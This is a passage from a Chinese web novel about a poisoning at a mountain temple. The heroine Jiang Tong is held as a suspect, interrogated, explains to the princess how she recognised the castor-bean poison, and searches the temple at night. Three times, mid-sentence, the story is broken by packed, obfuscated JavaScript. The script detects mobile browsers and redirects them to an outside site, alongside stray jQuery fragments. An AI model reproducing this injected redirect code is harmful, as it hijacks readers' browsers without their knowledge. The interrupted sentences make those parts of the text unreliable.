因为人手不足，姜彤和张氏留在一旁帮忙，守着大夫一个个诊完，开药熬药，着人喂服，等一切平稳下来，又将她们送回到自己的院中，好让自家人贴身照料，安心休息。 姜彤负责送平阳侯夫人母女。这两人一个昏迷不醒，一个因为中毒事件吓得六神无主，不住地哭泣，姜彤好说歹说才让对方相信她娘亲已经度过了最危险的时期，接下来只需要好好喝药休息就行。 等终于将人移交给平阳侯府随行的一名管事，山的远处，东边天际已经开始隐隐发亮。 姜彤回到自己院中补觉，睡了一个多时辰，又被屋外的喧哗声吵醒。 出房门一看，才发现他们的院子被一群陌生官兵包围，任何人都不能出去。 张氏带来的人正在跟官兵理论。领头卫嬷嬷嘴皮功夫了得，奈何对方不吃这一套，一队人抱着刀站在门外，谁越一步就亮出兵刃伺候，毫不留情。 张氏忧心忡忡站在主屋檐下，见到姜彤出来，才挤出一点笑容：“起来了，是不是没睡好啊？” 姜彤摇摇头，走到张氏身边，这才听她道：“昨夜出了那档子事，今日咱们怕是走不成了。” 张氏带姜彤去主屋用早饭，推来一碗清粥，两只素包子，两碟小菜，告诉她：“都验过了，没有毒，你昨天也忙了一夜，先垫垫肚子吧。” 接着告诉她事情始末： 昨日晚斋中毒之事一发生，徐元卿就找到这次护送康福长公主出行的军卫头领，央他派人去山下寻大夫。 那头领正是公主府的亲兵之首，人称夏都尉。当时院中乱成一团，夏都尉得知此事，进门一查验，发现事情属实，立刻派人下山。 因为长公主中毒之事非同小可，夏都尉不等长公主决断，直接带人把整个灵禅寺围了起来。 那时姜彤等人忙着救人，而夏都尉也没闲着，把寺中涉事的一应僧人全部抓起来不算，还派了属下回京中报信，打算事情没个定论，寺中人谁也不许走。 今早，姜彤还睡着的时候，京中消息传回来了。徐元卿被长公主那边叫去，又出现另外一群官兵，把他们所在的院子围了起来，说是大理寺办案，涉事嫌犯要重点关押，一律不准动。 姜彤问张氏：“所以咱们被当成了嫌犯？” 张氏：“是呀，卫嬷嬷问了半天——谁让关的，要关多久，外面状况如何，那群人只答是奉旨行事，其他一概不知。中间按人数送了饭过来，又将门关上，只让咱们在院子里活动。” 说完开始忧心：“本来打算今日就回，现下也不知道多久才能结束，也没人能给家中传个消息，哎，这可怎么办才好……” 姜彤也是这么想。她只告诉爹爹出来两日，如果没有按时回去，只怕爹爹着急之下会亲自来找。 两人你一言我一语地商讨对策。没多久，徐元卿回来了，给他们带来了更确切的消息： 今日凌晨，消息传到宫中。太后震怒，不仅派了三名太医过来照看长公主身体，还直接把大理寺卿派过来查案，责令三日内缉拿凶犯。 而长公主那边，早上见了急赶过来的大理寺卿一面，听闻了太后的指令，交代说徐元卿知晓案情过程，让他协助查案，没多久又昏睡过去。 张氏于是询问大理寺卿是哪位大人，人怎么样。 徐元卿道：“是邹闻邹大人。这位大人在大理寺任职十余年，为人公正，铁面无私……” 话正说着，外面邦邦邦敲门，大理寺来人了。 来的不是邹大人本人，而是底下办案的两位司直，要求院中各人都回到自己房中，等候问话。 见到徐元卿，告诉他：“徐大人，我们长官吩咐，长公主已经命你协助办案，请徐大人收拾好衣用，移步与我们同住，也好互通消息，避免有心之人从中刺探。” 然后就杵在那里监督徐元卿离开，好像生怕他给张氏她们告密似的。 屋中一时落针可闻，徐元卿脸色也不大好看，宽慰了张氏两句，告诉她们：“我会尽快帮你们解除嫌疑。” 徐元卿在其中一名司直的监视下离开。剩下的，从张氏开始，院中人一个个被叫到一间腾出来的空屋中。 姜彤在自己房中等了两刻多钟，就轮到了她。 - 她进入房间，被命令坐在屋正中的圆凳上。 肤色黝黑的办案司直坐在距她近一丈远的地方，伏案提笔，面无表情： “报出你的姓名，年龄，住址，家中何人，有何身份。” 姜彤老老实实回答。 “说说昨日行踪，有谁人见证。” 姜彤边回想边描述。 问完了基础问题，那人低头浏览了一遍记录的内容，又开始问： “你作为姜家女，为何要与徐家母子一同过来？” “你见康福长公主有什么目的？为什么会留下与长公主一同用膳？” “你早就知道长公主会参加法会吗？” “长公主为什么要见你？” “有谁能证明你的话？” “用饭过程中，是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920808|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现有毒的？” “你平日对这些毒药都很熟悉吗，能时刻接触到它们？” “所以你颇通药材，熟知这种毒药性状，并且自己也会研制？” “你在寺中有没有其他认识的人？” “你是否去过寺中伙房？认识里面的伙头僧吗？” “你身边是否有其他人曾接触过寺中僧人？” …… 问题林林总总，十分详尽，有些姜彤答了一遍还不行，还要反反复复说，将她所能回忆起的细枝末节全部说出来。 尤其是，当她说出自己是第一个出声提醒之人，且颇为了解长公主所中的毒物特征之后，那人抬头无声望了她一眼，眼神愈发警惕，又返回去，将前面的许多问题圈出来，换个角度重新问一遍。 其间种种问题角度刁钻，像是怀疑她故意下毒，贼喊捉贼一样。 姜彤之前没有经历过这种办案的过程，起初还算平静，后来慢慢也开始气虚了。 说着说着，她自己都开始怀疑，是不是她语气中露出了什么不对劲，或者前后回答矛盾，让这位司直抓到了破绽，把她认成了嫌犯。 她想起自己以前在坊间听别人说起的种种冤假错案，心中愈发没底。 折腾了不知道多久，姜彤才终于被放出来。 办事官员留在屋中整理文书。姜彤出了门，长舒一口气，打算找张氏问问她方才的情况。 走到主屋门边，正打算推开，她听到屋中有人在小声说话。 她将耳朵贴近门边，卫嬷嬷抑不住的激动声音从门缝透出来：“……法会才结束，寺中上下连带僧人、帮工，留夜的官眷、百姓，随行的侍从仆妇，少说几百人，那伙房又是谁都能去的地方，就三天时间，一个个地查，哪里能查出个囫囵结果！” “等时间一到，大理寺为了交差，指不定就随便抓个可疑的充作凶犯！夫人，昨夜就您、大公子和姜娘子没出事，其他在场的人都中了毒，难保大理寺的人不会想什么做什么，咱们可不能在这里任凭摆布啊！” “嬷嬷，你先别慌，”张氏的声音努力也维持着镇定，“眼下最重要的，还是找法子给家中传递消息。老爷知道了，肯定也会想办法，毒害皇室这等罪名非同小可，那些人定不敢轻易乱来的。” “……但怕就怕在他们为了按时交差，先抓人充数，再拖出时间慢慢去查。夫人，当年张家不也是一样的状况么，明明大老爷只是在先皇面前说错了一句话，第二天，那些人就网罗了无数罪名……” “嬷嬷！” 卫嬷嬷也意识到不妥：“呸呸呸，是奴婢说错话了！这种事一定不会再发生的，都怪奴婢，夫人别怕……” 说着说着，屋内渐渐息了声，一时极其安静，好似无人在内一样。姜彤贴着门的手松开，她知道自己此刻进去不合适，于是轻手轻脚走回到院中树下。 在姜彤的印象里，朝中任何时候都争斗不止。尤其是这几年，朝廷顶层权力更替，京城各种世家大族兴衰起败，就跟过家家一样。 只不过，她没想到自己有一天会身涉其中，且竟然离京百里之外的法会都有人忍不住动手。 如今下毒之事被她发现阻止，也不知道那些人会不会有进一步的动作。 以徐家的势力，保他们自己不受牵连都难，更别提她了。 姜彤一时为自己的冲动而感到懊恼，但退一步想，若她当时不及时提醒，长公主和几位夫人毒发身亡，几条鲜活的人命就此陨灭不说，幸存的人也更加难脱干系。 她思索自己该怎么办。 若是往家中传递消息，让爹爹他们帮忙奔走，以她的功夫，夜里悄无声息来回一趟，倒是可以一试。 但这样用处大吗？ 爹爹他们知道了，徒增操劳和担心。即使奔走求助，也只能在外围帮忙。 更别提，万一她不小心在来回途中暴露行踪，嫌疑程度会立即直线上升。 不过有一点，卫嬷嬷说得对，她们不能坐以待毙。 事发突然，长公主身边的夏都尉连夜就封住了灵禅寺，如今中毒的人、查案的人、作案的人，都被困在里面。 她想来想去，觉得不能指望大理寺的人，要想办法自己搞清楚凶手是谁才行！ 姜彤紧紧捏着树干，静默了片刻，如此拿定主意。 不多时，她听到背后吱呀一声门响，有人推开院子门。 姜彤回头。却不想，原本应该好好呆在京城徐宅的徐少衡，此时一身束袖轻袍，昂首阔步跨过门槛走了进来。 15. 寺外 徐少衡也一眼看到了姜彤。 他乌黑的眸子立时睁大，三步作两步走到她面前：“彤娘，你怎么一个人站在院子里！你……你还好吧？” 姜彤呆愣愣地看着他：“少衡，你怎么会来这里？” “我……”徐少衡微低着头，一错不错地望着姜彤，一时不知道说什么好。 或者说，两人都不知道说什么好。 毕竟他们上次分开前还在负气争吵。 凝滞的氛围不过片刻，就被另一道推门声打断。张氏听到动静，和卫嬷嬷一起推门出来，看到了徐少衡，二脸震惊：“阿衡！” 还未及说什么，旁边黑脸司直所在的屋子门也开了。 徐少衡立刻看到了，反应十分迅速，对面前的姜彤眨了两下眼，接着走到张氏身边，佯装抱怨，实则不让张氏有机会说话： “娘，外面太阳这么晒，都跑出来做什么呀。走走走，快进去，可别晒伤了。” 说着扶起张氏胳膊，要和她们一起进屋。 姜彤明白了徐少衡的暗示，连忙也跟着往屋里走。 然而此举并未糊弄过去，黑脸司直走过来，问他们怎么回事。 徐少衡无辜道：“什么怎么回事？我什么都不知道，我是被外面的兵爷带过来的。”一脸事不关己的样子。 黑脸司直听的一头雾水，再细问，徐少衡拒绝透露更多，他只好出门了解情况。 院里留下张氏和姜彤等人。徐少衡环顾一圈，赞了句：“这禅院景色真不错，如果没有被关着，就更好了。” 说罢，再次催促她们：“走吧，有什么话进屋说。” 众人进了主屋。等关上门，张氏代大家问出憋了满腹的疑问：“到底怎么一回事？你怎么突然跑过来了？” 徐少衡见没了外人，浑身顿时松懈下来，快步走到堂中圈椅前坐下，一手撑膝一手扇风，累坏了似的：“娘，这事说来话长，你先让我缓缓。” 姜彤见他这样，忍俊不禁，猜他定是快马不停跑了一路才上山来，于是好心倒水给他解渴。 徐少衡接过茶杯，仰脸朝她咧嘴：“彤娘，还是你对我最好。” 张氏在一旁被无语到，嗔了徐少衡一眼，拿他没办法，只好坐下等着，让他缓过来再说。 徐少衡捧着茶杯咕咚咕咚灌下，喝完了又起身去倒，连灌了好几杯，才满足地长抒一口气。 没一会儿，又有敲门声响。黑脸司直了解完情况返回来了，面无表情瞥了徐少衡一眼，又叫卫嬷嬷过去问话。 等卫嬷嬷随着人离开，徐少衡问了下那名司直的身份、来做什么，露出明悟的表情，这才道：“我清早出门，听说灵禅寺出了事，好多人都被抓起来了，觉得不对劲，一路往这边赶，好险让我赶上了。” 张氏：“……” 饶是张氏平日涵养再好，此刻也有点忍不住了，磨着银牙问：“我听你这意思，你是赶来凑热闹来了？” “哪有！”徐少衡对自己亲娘的脾气十分了解，立刻为自己申冤，“我明明就是担心你们！” “担心我们？”张氏都快被气笑了，“那好，你现在也看到了，我们都好好的。既然如此，你就哪儿来的从哪儿回吧！” “已经晚了。我进来之后，外面的军卫就加强了警戒，现在院墙里外都有人巡逻，不可能再轻易进出了。”徐少衡十分耿直，且话中明显透出另一层意思：他就是那个让兵卫加强警戒的元凶。 张氏哪能听不出来，气得说不出话，起身就往门前走，走两步，转回来，走两步又转回来，捏着帕子的手指着他：“你说你，你好好在家中呆着不行吗？这里本来就出了事，你来添什么乱？——不行，我去跟他们说，你与此事无关，必须得回去！” 说着就要开门，徐少衡连忙去阻拦，小声急道：“娘，你千万别去。我是趁他们不备，爬进来诓了他们，说自己昨日瞒着你们偷跑来玩，在寺中迷路才被带到这儿的。原本他们不相信我，但也找不到证据，你要是过去说，可就真把我往他们手里送了……” 姜彤在旁边听得也满头包：这都什么乱七八糟的……合着他是自己偷摸进来，被人逮住了才送过来的！ 眼见张氏捂着头气得直发晕，她赶紧过去扶住：“伯母，伯母，这天气热，您可千万别动气，快来坐下。”又给徐少衡使眼色，让他消停点，别再刺激他娘亲了。 徐少衡看到她的眼神，立马滑跪道歉：“娘我错了，您打我骂我都行，别气坏了身子。” 姜彤也抚着张氏的背帮她顺气：“是呀，昨日的案子还没找出凶手，外面官兵一层一层的，您可得撑住。少衡如今已经进来了，再怎么说他也于事无补，咱们不如……额……不如问问少衡外面的情况如何……” 徐少衡一听，赶紧接腔：“好说好说！外面……不，今日一早我出来，听到好多人在传灵禅寺不对劲，往日法会后布施的僧人没出现，给寺中送菜的也被拦住不让进。还有人说，天没亮就有卫兵从灵陀山下来，叫开城门往宫中送信，没多久又有一队官兵疾奔而出，直往这个方向来。” “我当时一听，赶紧派人回去告诉爹爹，想着自己先过来看看情况。” “结果到了地方，就见灵禅寺大门紧闭，外面守着银甲卫兵，不让任何人靠近。此外，院墙周围还有数队人来回巡逻，看守很是严密。” “既然这样，你又是如何越过他们进来的？”姜彤不由问。 “我来得早，”徐少衡解释，“那时候天刚亮，守门的卫兵还不多。没多久就有另一队人过来交接，看上去和原本守门的不是一路的。两拨人交换的时候，守卫有所松懈，我便想着趁此机会进来，悄悄找你们问问情况，结果没想到寺院太复杂，我中间迷路，绕了半天，又遇到有人带队四处搜罗什么，我没办法，这才主动露面亮出身份……” 听上去，他是在今晨接到命令的官兵到达没多久，就也赶过来了。 姜彤看了眼张氏。从徐少衡说起外面情况后，张氏就没再说话。听到徐少衡说已经派人给家中送信，张氏脸色也好了点，安静听徐少衡说他后来是如何被盘问，如何验证身份，又是如何被带到他的兄长徐元卿面前，最终转移到这里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920809|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜彤也静静地听，等他说完，仍然觉得哪里有问题：“你是什么时候出发的，怎么能到这么早？” 徐少衡不由一噎，含糊其辞：“嗯啊，确实我今日起得比往常早了些。原本是想出门吃碗热馄饨，听说这里出事，就直接过来了——而且我是骑马，自然比那些官兵跑步上山要快的。” 当着姜彤的面，他移开目光，有些不自在。其实昨日当得知她和徐元卿来了灵禅寺的时候，他就想追过来，只不过被爹爹喝止，关在了家里。 他今日一早起来，也是打算好来接他们，只不过在城门那边听到消息，赶路速度更快了而已。 张氏没有在意徐少衡的异常，听他说中间见到了徐元卿，于是问他兄长在做什么，有没有什么话带给他们。 徐少衡不想提，说了句他在忙，见两人都没什么话了，连忙问起他最在意的：寺中到底发生了什么。 姜彤看了眼在走神的张氏，开始一五一十给徐少衡讲述昨夜的遭遇。 - 他们被关了一天。 张氏一直心神不宁，坐也坐不安稳，吃也吃不踏实，总想派人出去打探情况。姜彤想起卫嬷嬷上午的话，知道张氏这是被往事影响，便拉着徐少衡一直陪张氏聊天。 直到吃过晚饭，徐元卿才过来一趟，告诉他们：长公主醒了，要见姜彤，问她一些话。 徐少衡此时已经清楚了事情的来龙去脉，怕姜彤一个人去了，无法为自己辩解，自告奋勇要陪她一起。 “彤娘绝不可能是凶手。她是清楚那些毒药不假，但她身边的人我都认识，根本没有能和灵禅寺扯上关系的，不能冤枉到她身上。”他说着就要跟她一起出门。 “你回来！”张氏忙拉住他，皱眉训斥，“本来你就是偷跑进来的，不老老实实呆着，还想往哪里跑？你兄长是阿彤的正经未婚夫，要陪也是他陪着。且他在长公主面前又能说上话，阿彤若遇到什么，他自然会小心护着。不许你再去捣乱！” 张氏对徐少衡私自跑进来一事十分不满，铁了心要看住他，不让他再有任何机会冒险出格。 徐少衡几次辩驳，都被张氏斥了回来，最后只得一脸憋屈地看着姜彤随他兄长离开。 徐元卿对此一言不发，一直冷漠地立在旁侧，看也不看徐少衡一眼，直到姜彤整理好衣容，和他一同出院门。 走在路上，姜彤心中对徐元卿方才的态度暗暗诧异。 她想起上次在潘楼中，徐元卿遇到和她一起的徐少衡，也是这样，不理不睬，好像眼前没有他弟弟这个人似的。 姜彤以前很少和徐元卿接触，对他的印象，大多是听旁人转述的——要么是邻里夸赞他的容貌气质，要么是长辈褒扬他的才华品性，要么是徐少衡，总是不高兴地说他兄长如何自以为是，如何刻薄寡情，如何对他不好。 姜彤原本一直以为，兄弟俩关系差，是徐少衡自小被惯溺过了头，单方面对他兄长有偏见。 然而自从有了婚约一事，她同时见到两人的次数变多，才发现他们之间存在的问题，比她想象中要复杂。 16. 巧合 两人默不作声走了一段路，经过配殿，穿过游廊花园，许是察觉气氛太过安静，徐元卿脚步变慢，侧身问她：“家母今日和你在一起，一切还好吗？” “还好，”姜彤也客气地答，“就是有些操心，害怕出什么意外。加上少衡早上突然跑过来，她可能怕官兵又把少衡抓走，一直撑着不敢去休息。” 徐元卿嗯了一声，没有说话。 过了会儿，又问：“少衡为什么突然过来，他跟你们说了吗？” “他就是听说这里出事，担心咱们。”姜彤说了一句，觉得奇怪，“难道他没告诉你？” 她记得徐少衡说早上曾见过他，既见了面，总不至于这种话都不交代一声吧？ 谁知徐元卿听了，只是轻轻摇头：“没有，我没问。” 姜彤走在徐元卿一旁，闻言悄悄抬头。他目视着前方，向来清俊的侧脸上露出几分似有似无的，自嘲般的笑。 她走了几步，想了想，试探着道：“我听说，小时候少衡生过一场癔症，嗯——对你有些误解。再加上他那些年身体一直不好，什么都不能吃不能做，心中不平衡，所以做过些顽劣事……也影响到了你，你是不是……也对他有怨？” 徐元卿突然停住，转头看了眼姜彤。 姜彤连忙止住口。 好在他什么也没说，只是看了一眼，顿了顿，又接着往前走。 姜彤没敢继续说下去。 她知道，她方才的试探非常冒犯，但她真的很想问一问。 又走了半天，一直到出了游廊，徐元卿才有所回应——却不是回答她，而是问起另一个问题：“母亲曾告诉过我，少衡幼时拜师姜大人，一直在习武强身。这几次我见他和你在一块，言行间对你颇为熟稔，你们俩是不是关系很好？” “嗯，是，”姜彤下意识回答，“我俩其实是一起学的武。小时候，原本我爹只想着随便教教我，没想到徐伯伯会带着少衡找上门。我爹那时候日日都要巡城，白天在家的时间少，想来想去，就把我们凑在一块教了。有时候城中有急事需要他去处理，我还得督促少衡巩固每日功课，什么扎马步啊、踢腿练刀之类的。” 顶着徐元卿的目光，她说着说着，不知为何有股莫名的心虚，想想又补上一句：“名义上我算是他的师姐。” “原来是这样。”徐元卿若有所思。 姜彤不知道他在想什么，移开脸看向道路两旁绿蓬蓬的芒叶草，好在他很快回过神来，对她道：“我和少衡往日是有些不快，不过你不必担心，我们毕竟是亲生兄弟。他年少做的那些事，我也没想和他计较。只不过，我和他从小便注定脾性不和，如今为了不让双亲难过，便刻意保持一些距离罢了。” 姜彤听了，点点头。 若是这种原因，倒是能理解。她不觉得徐元卿是圣人，哪怕当初仕途险些被毁也毫无芥蒂。他这样坦荡承认自己的态度，总比那些表面大度说无碍，私底下挟冤记仇的人要好。 姜彤略放下心，眼看藏经楼就在前面了，寻机又问起案情的进展。 许是职责所在，徐元卿没细说，只道：“”寺院地形复杂，法会当日来往人又多，案子查起来并不顺利。” 又说让她放心，他不会让姜徐两家出事。 - 很快，两人到了康福长公主所在的院子。 姜彤没想到，长公主的女儿正在院中等着他们。 见到姜彤，这位花月容貌，娇柔性情的少女立刻便迎上来，盈盈向她一拜，谢她救了自己母亲的性命。 当着满院侍人的面，姜彤不敢托大，连忙还礼并扶起对方。少女也并未推辞，秋水般的眸子抬起来，朝姜彤投来五味杂陈的一眼，接着视线落到一旁的徐元卿身上。 少女轻唤了一声：“奉英哥哥……” 徐元卿只拱手还礼，仿佛看不见对方的目光。 少女面上露出几分失落，但转瞬便掩去，对姜彤道：“母亲就在里面等你，我带你进去。” 随即领着姜彤往里走。 徐元卿则在外面等。 内堂中，长公主经过一天休息，精神已经恢复了些许，只不过面色仍有些苍白虚弱。她半躺在置了软枕的罗汉榻上，抬手让姜彤起身。 接着便问姜彤：“本宫找你过来，是有个问题想问问你。” “太医今日告诉本宫，昨天那道点心中裹的确实是混了甜菜汁的蓖麻豆沙，但那些蓖麻豆经过烹煮捣压，已经和普通芸豆沙无异，等闲很难分辨出来。姜娘子，你昨夜又是如何认出那点心有毒的？” 姜彤一听，立刻福了一礼。她白日在和徐少衡议论此事时，便想到可能会有人问她，因此两人一起商量过说辞，当下解释道：“长公主说的是。其实蓖麻豆不仅煮熟之后与芸豆沙像，它剥去了外壳，本身就长得就与路边野生的花芸豆十分相似，乡野人家常有小儿幼童分辨不出，在田边玩耍时饿了便摘下来吃，以致中毒腹泻不止。民女家中开有药铺，时常遇到急坏了的乡亲过来求药，故而对蓖麻豆比较了解。” 长公主一听，感兴趣地问：“你家中开药铺？你也时常去帮忙吗？” 姜彤愣了愣，道：“是，民女家中的药铺是故去的母亲遗留下来的，如今是舅舅在帮忙照看……民女时常过去打下手。” 长公主听了，没说什么，姜彤定了定神，继续解释：“蓖麻豆是一味毒，但调用得当的话也是一味药，可用来消肿泻下，祛热毒，京中不少大夫的方子里都会用到。而且，这蓖麻豆虽然与芸豆像，但细嗅之下其实有一种特殊的味道，普通人可能闻不出来，但民女时常在药铺跟着处理药材，时间长了，便一闻就能认出来。” 她说完，长公主唔了一声，也不知道是什么意思。 姜彤低着头，看不见榻上人的神情，只能等着对方发话。 过了一会儿，长公主才道：“你这么说，本宫倒是想起另一件事——其实本宫素日里极少吃甜食，昨日兴起才尝了一尝。而且这道甜点也不是给本宫一人，所有点心内馅都是一样的——姜娘子，会不会就像你说的，这蓖麻豆与花芸豆过于相像，所以寺中的师父不小心弄错了，因缘巧合才让本宫与几位夫人中了毒？” 这个问题其实姜彤也想过。 她有些犹豫。但长公主就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920810|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着她回答，她没办法，只好道：“回长公主，民女不这么认为。” “为何？” 姜彤道：“昨日事发后，民女听徐家伯母说起过，宫中对于贵人入口的食物，向来有固定的验毒程序，且是两道——在食物做好后，先由人验，有专门的宫人试吃。其后，在传菜时，端到桌上之前，会再用银针探入验一次。而这道甜点能够绕过两道验毒流程，不像巧合，更像是有人特意安排——且是对宫规相当熟悉、对宫人验毒习惯相当了解之人。” 长公主听了，不以为然：“你说的这些本宫知道，但验毒也都是人验，同样的流程日日重复，一时疏漏也在所难免。而且过往这种意外也不是没发生过。” 姜彤抿了抿唇。 片刻，她又壮着胆子提出自己的另一个想法：“长公主，民女认为，您昨夜会吃那道甜点，也不是巧合，而是被人特意安排的。” “这话又是什么意思？”康福长公主一时没明白。 姜彤低着头道：“其实昨夜传菜时，民女心中就隐隐有些违和之感。” “斋菜一共十二道，六碟凉菜，四碟热菜，一道汤，一道甜点。其中，这六碟凉菜皆为腌制小菜，偏咸偏辣——当然，大家可以说，现在入夏，天气炎热，这种小菜最是利口下饭，这也正常。但接下来的四道热菜，都是或炖或炸或重口的菜品，这又如何解释？” “民女当时也是偶然一个念头闪过，以为是灵禅寺的伙房师傅因为贵人莅临，想要使出看家本领——自然，事情到这里也可以如此解释。” “再后来，汤和甜点是一起上的，汤虽然清淡，但仍然是化了浆的粘稠咸汤。只有那一道甜品，以冰沫雪碎为基，通体散发着清凉之意，与其他菜品截然相反。” “试想，白日大家都热了渴了一天，晚上又尽吃些咸辣重口之物，再见到那碗晶莹剔透的解渴甜点，没有几个人会只喝汤，舍弃甜点不尝。” “所以，民女认为，有人故意安排了这些菜品，设计引您吃下这道甜点。只不过，因为您要宴请诸位夫人一同用膳，对方不知道哪道甜点会端到您的桌案上，所以冒险在所有甜点里都下了毒。” 这一次，康福长公主听完，久久不语。 姜彤心中忐忑，等了半天，也没见长公主再说话。 她屏息静气，默默地回想自己的话——应该没有什么地方听起来像是那种狡辩开脱之词。 到最后，长公主仍没有说话，直到外面有人来报，说是大理寺卿求见。 长公主这才在榻上坐起身，让人帮忙披外衣，置屏风，等一切收拾好了，唤人去请大理寺卿和徐元卿一同进来。 末了又对一旁守着的少女道：“柔儿，你送姜娘子回去吧。” 于是姜彤跟着人出屋。 徐元卿得了命令，要和长公主、大理寺卿一同议事。姜彤出去时，他正守在门口，见到她正要说话，长公主的女儿停下来道：“奉英哥哥，你安心进去忙正事吧，我会带人送姜娘子回她住的院子。” 说罢，也不等徐元卿反应，转身对姜彤笑了一笑，客气有礼地示意她随自己一同离开。 17. 夜探 出院子的时候，天已经黑了。 两名银甲卫兵举着火把走在前面，护卫两人一同往姜彤所在的院子走。 论家世，论尊卑，姜彤作为一名从五品武官的女儿，是远远不及这位皇室公主之女的。 但不知为何，从初次见面起，姜彤就觉得对方对她的态度有些奇怪，有时像是因怯弱而回避，有时又充满了好奇和审视。 两人并行向前，姜彤能感觉到对方屡次悄悄侧脸，似乎在观察她的一行一止。 直到姜彤忍不住，也转过头，与对方目光对个正着——火光之下，这位娇柔的少女脸上慌乱了一瞬，很快镇定下来，对姜彤弯起唇角：“姜娘子，说起来咱们见过几次面了，还未交换过姓名。我姓李，闺名新柔，身边好友大多唤我阿柔，不知姜娘子闺名为何？” 姜彤察觉到，在说这句话的时候，少女似乎在努力压下那种躲闪逃避的冲动，让自己直视姜彤的双眼，大大方方与她交谈。 于是姜彤也对她笑了笑，告诉她自己的姓名。 李新柔目光闪烁了一下，不自然地转开脸，缓缓点了点头。走了一截路，她突然开口：“这次法会晚斋突然出事，母亲虽然是一朝公主，其实心中十分过意不去。她这几年一心向佛，不愿看到灵禅寺这种清净圣地因为她而被打扰。从午后醒来，知道寺院被围了，就一直在和几位大人协商，想解除封寺的决定，放大家离开。” 姜彤听到这话，心中有些意外，她还以为封寺的决定是长公主首肯了的。 李新柔继续道：“不过邹大人是奉朝廷诏令前来查案，母亲也无可奈何，便明令不许邹大人他们冒犯寺中师傅和留居百姓，想先看到明确的作案证据再做定夺。” “今日我侍奉在母亲身边，听到几位大人商讨案情。奉英哥哥告诉母亲，此案定是有人故意为之，且是十分了解宫中动向之人，他与你想的一样。” 姜彤不清楚对方告诉她这些是何意，应了一声。 李新柔也像是随口一说，说完了，继续沉默。 姜彤识趣地没有出声。 一直到快到地方，李新柔看了眼前方不远的小院，才停下来，对姜彤道： “奉英哥哥在想办法解除你们的嫌疑——只是夏都尉和邹大人意见不合，一直在争论案情方向，母亲也拿不定主意。” “方才你的话，相信母亲已经听进去了，很快就会下令行动。也请你和徐伯母再忍一忍，等找到了确定的线索，你们就不必拘在这间小小的院子里了。” 说罢，对她和善地点了点头，转身离开。 - 姜彤回到院中。 此时主屋中张氏已经歇下了。她昨夜一宿没睡，今天又担心了一个白天，想必早就已经支撑不住。 徐少衡所在的屋子里，灯烛还亮着。白日他兄长跟着大理寺司直离开，徐少衡便顺理成章住进了空下来的厢房。 院子里十分安静，只有两名随行丫鬟坐在主屋台阶前守夜，看到姜彤回来，起身朝她施礼。姜彤示意她们不必动，径自回到自己屋中。 她思索着李新柔告诉她的话。 听起来，长公主虽然中毒，受了一场折磨，但因为敬重佛门，所以并不想深究此事，更希望赶紧返回京城。 只不过，此事涉及皇家威严，长公主一人无法做主。 姜彤不知道他们具体是如何磋商的，去的时候问了徐元卿，也只说不太顺利，没有更多的线索。 于是决定按照原本的计划，夜里出去探一探。 她简单洗漱便吹灯上床。等到夜半三更，姜彤坐起来，悄悄从窗户钻出，探查整个灵禅寺。 这灵禅寺占据整座山头，面积十分广阔。不过，前院多是供奉佛祖菩萨的法殿，每座宫殿之间隔了大片的游廊花园，后院才是供人起居之所。 月明星稀，姜彤借着月辉大致逛了一遍，发现后院分东西两所，客院在西，僧人所住的寮院在东，中间是斋堂，伙房则在最北侧。 大理寺官差驻扎之处也在斋堂北侧，靠近伙房，是一座空置的大院子临时改的，远远能看到穿着大理寺服制的官差把守。 姜彤先是在僧寮外探了探，里面有人，便没有入内。接着去了伙房，发现此处离寺院后门不过几十步的距离，伙房也分为并排的好几间，前后进出都十分方便。 其中一间伙房被封了起来。姜彤设法钻进去，发现内里十分凌乱，菜案和木柜上放着盘碗盏碟，各种瓜菜被处理到一半，没来得及收拾，凌乱地放着。角落里，一个木钵盛了一团夹杂各种碎屑的不明物，在这种天气里，散发着阵阵异常难闻的味道。 姜彤凑近，借着月色仔细辨认了一番，发现就是蓖麻豆的残碎余渣，想必是被大理寺的官差从泔桶中翻了出来，临时搁置在这里。 探完伙房，姜彤转道去大理寺驻扎的院子。 院子四周都有人巡逻，姜彤在一旁等了半天，寻到空隙跳进去。挨个查了一遍，发现东西向的厢房都用来供人休息，而主堂则是议事办公之所，放着各种案卷文书。 确认好主堂没有人，姜彤悄悄开窗进入。 桌案上都是整齐摞好的文书，姜彤吹亮自己带的火折子，借微弱的火光小心查看——大部分文书记录的是寺中各类人员的身份信息，包括姜彤自己被问话的记录也在里面。 翻找了片刻，姜彤发现其中一卷文书上专门记录了当日接触过斋菜的人员——备菜、掌勺、传菜的僧人，验毒的侍女，供词都在上面。 